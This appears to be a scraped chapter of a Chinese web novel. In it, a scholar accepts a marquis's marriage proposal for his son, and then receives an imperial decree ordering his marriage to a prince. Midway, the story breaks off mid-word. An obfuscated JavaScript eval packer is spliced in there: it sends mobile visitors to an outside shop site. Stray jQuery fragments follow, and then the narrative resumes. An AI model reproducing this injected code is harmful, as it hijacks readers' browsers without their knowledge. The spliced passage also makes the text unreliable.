文趣网 > 其他小说 > 极品人妻,但已孕三月 > 13. 云舟,你想好了吗?”
    镇北侯慕狄对于儿子娶新科探花郎沈云舟这件事,很抗拒。

    主要是自己儿子什么德行他心里门清,到时候若是做了对不起沈云舟的事,闹到朝堂上,丢脸丢大了。

    既然自家老爹这么好面子,慕珩索性天天去朝堂说自家老爹那点破事。

    每天上朝,大家朝会都不好好开了,专等着慕珩爆料自家老爹。

    一来二去,镇北侯索性不上朝了。

    沈云舟顿觉可惜,觉得朝会变无聊了。

    这期间,一直没遇到赵云旌,沈云舟觉得他应该是说说而已,没有求亲那档子事。

    三日后,镇北侯亲自登门。

    这回阵仗大了。

    沈云舟正在院里晾书,忽听得巷口一阵马蹄声,紧接着是街坊四邻纷纷探头张望的动静。他踮脚朝巷口望去,只见一队人马浩浩荡荡地拐了进来。

    马上之人腰杆挺得笔直,后面还跟着二十四名侍从,人人手里捧着礼盒,红绸扎着,一眼望不到头。

    整条巷子都惊动了,对着沈家指指点点。

    沈云舟抱着书卷站在院门口,愣了一瞬。

    一群人沈家院门前停下。先下马的是慕珩。他举止收敛,整个人端端正正的,像换了副骨头。

    他下了轿,没急着走,转身扶自家亲爹。

    镇北侯抬眼扫了一圈沈家那扇半旧的院门,目光沉着,不怒自威。

    沈云舟心里一惊,那眉眼,那轮廓,和慕珩像了七分。

    沈父着急忙慌从堂屋里迎出来,一看来人的架势,立马跪下去。

    “侯爷大驾,寒舍蓬荜生辉。”

    镇北侯抬手虚扶了一下,声音沉稳:“沈先生快起来,犬子无状,今日老夫亲自带他来赔罪。”

    沈母躬腰将人让进堂屋,张罗着泡茶。

    镇北侯倒不嫌茶劣,端起茶盏,抿了一口,放下。

    他向沈父开口:“沈先生,老夫今日来,不为别的。逆子慕珩,两年前荒唐无度,辜负了令郎。老夫得知后,打断了他一条腿的心都有。”

    慕珩在旁边默默低头。

    “可老夫终究这一个儿子。”镇北侯继续说,“他既悔了,老夫便带他来求这一回。成与不成,沈先生说了算。侯府不仗势欺人,该给的体面,一样不少。”

    他说完,朝慕珩抬了抬下巴。

    慕珩上前一步,从袖中取出一张大红庚帖,并着礼单,双手呈到沈云舟父亲面前。

    沈父没敢翻看,沉默了好一会儿没有看慕珩,也没有看镇北侯,而是越过他们,看向站在角落里的沈云舟。

    “云舟,”他说,“你的意思呢?”

    满堂的目光齐齐落在沈云舟身上。

    沈云舟站在角落里,背靠着墙,手指攥着袖口。

    他看了看父亲,又看了看慕珩,最后把目光落在镇北侯身上。

    “侯爷能亲自来,”他说,声音不高不低,“晚辈受宠若惊。”

    镇北侯看着他,没有接话,他在等。

    “这桩亲事,我愿意。”沈云舟说。

    慕珩的眼睛一下子亮了,他往前迈了一步,正想说什么。镇北侯抬手拦了他一下,自己站起身来,朝沈云舟的父亲拱了拱手。

    “沈先生,养了个好儿子。”他说,语气里竟带了几分笑意,“聘礼三日后送到,成亲的事,侯府全包,沈家只管出人。”

    双方都客气了几句,镇北侯起身告辞,转身朝外走,走到门口又停下,回头看了慕珩一眼。那一眼既有慈爱,又有威压。

    慕珩快步跟了上去,经过沈云舟身边时,偏过头,极快地眨了一下眼,笑容露出半分,又迅速收了回去。

    等人出去,沈父长长地叹了口气,“云舟,你想好了吗?”

    开弓哪有回头箭,沈云舟很肯定道,“想好了。”

    话音未落,巷口又起了一阵动静。

    不同于方才的马蹄声,这回是整齐的靴底踏地声。

    沈云舟抬头望去,只见一队禁军打扮的人马拐进了巷子,约莫二十来人,盔甲锃亮,在日头底下泛着冷光。

    为首一人骑着匹白马,身量极高,玉冠束发,一身银白锦袍,正是赵云旌。

    他手里捧着一卷明黄。

    整条巷子刚平息的议论声又炸了开来,比方才更甚。

    有人认出了那卷明黄,低呼了一声“圣旨”,街坊们呼啦啦跪倒了一片。

    沈父和那些百姓一样吓坏了,腿一软便跪下去。沈云舟一把扶住他,自己的手指却也收紧了。

    之前说求娶,居然不是说笑。

    赵云旌翻身下马,动作利落。

    他扫了一眼院中还没收走的礼盒,又看了看堂屋里走出来的镇北侯父子,嘴角微微挑了一下,笑意深长。

    “定北侯也在。”他拱了拱手,语气不卑不亢,“倒是巧了。”

    镇北侯站在门槛内,面色沉下来,“赵小王爷来这里,所为何事?”

    慕珩跟在他身后,表情紧绷。

    赵云旌伸手一指,目光落在沈云舟身上,“为他。”

    说着展开圣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17978717|214793||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    旨,声音朗朗,一字一句落在沈云舟耳边。

    “奉天承运皇帝,诏曰:新科探花沈云舟,才学兼优,品貌端方,兹有平川王赵振求之。朕念沈云舟青年才俊,特赐婚于平川王赵振,择吉日完婚,钦此。”

    最后一个字落下,巷子里静了一瞬,紧接着,人群里炸开一阵低低的嗡鸣。

    “什么?!平川王也来求娶?想不到沈家这位小郎君还是个香饽饽。”

    沈云舟站在原地,手指攥着父亲的胳膊。

    圣旨在,这场婚事就算板上钉钉了。

    他偏过头去看慕珩。

    慕珩的脸色很难看,方才还端端正正站着的一个人,此刻肩头绷得死紧,握紧拳头。

    他往前迈了一步,刚要理论,镇北侯一只手已经按在了他肩上,“慕珩,不许胡闹!”

    那一按极重,沈云舟看见慕珩的肩头往下沉了半寸,像被一座山压住了。

    “爹!”慕珩恳求了一声。

    “珩儿。”镇北侯开口,声音很低,“圣旨已下,没有回旋余地,你与沈家公子从此划清界限,不得生事。”

    慕珩的拳头攥得更紧了,指关节咔咔作响。他偏过头,看着自己的父亲,眼里烧着一团火。

    凭什么?凭什么一个死胖子忽然冒出来和他抢媳妇。

    镇北侯的面上看不出什么波澜,只是挥了挥手,命四个随从牢牢摁住慕珩,连嘴都堵上。

    不是镇北侯得罪不起赵家,实在是涉及两国邦交,真打起来受苦的是百姓和将士。

    赵云旌将圣旨合上,双手递到沈云舟面前。

    他的目光越过沈云舟的肩头,在慕珩那张黑透了的脸上停了一瞬,又若无其事地收回来。

    “沈云舟,接旨吧。”

    满巷子的目光都落在沈云舟身上。

    日头偏了些,照在他脚边,那光白晃晃的,有些刺眼。他听见镇北侯重重的一脚,和慕珩压抑着的闷哼。

    沈云舟看着那卷明黄。

    他伸出手,指尖碰到圣旨冰凉的绸面。

    他偏过头,最后看了慕珩一眼。

    慕珩正被镇北侯死死摁在原地,衣服皱了一片。他望着沈云舟,眼底彻底暗了下去。

    他说,别接别接别接别接求你别接……

    可沈云舟能怎么办,圣旨面前,喜不喜欢爱不爱的有什么用?肯定保命最重要。

    沈云舟收回目光,将圣旨接在手中。

    明黄的绸面微凉,贴在掌心,沉甸甸的。

    “臣领旨谢恩。”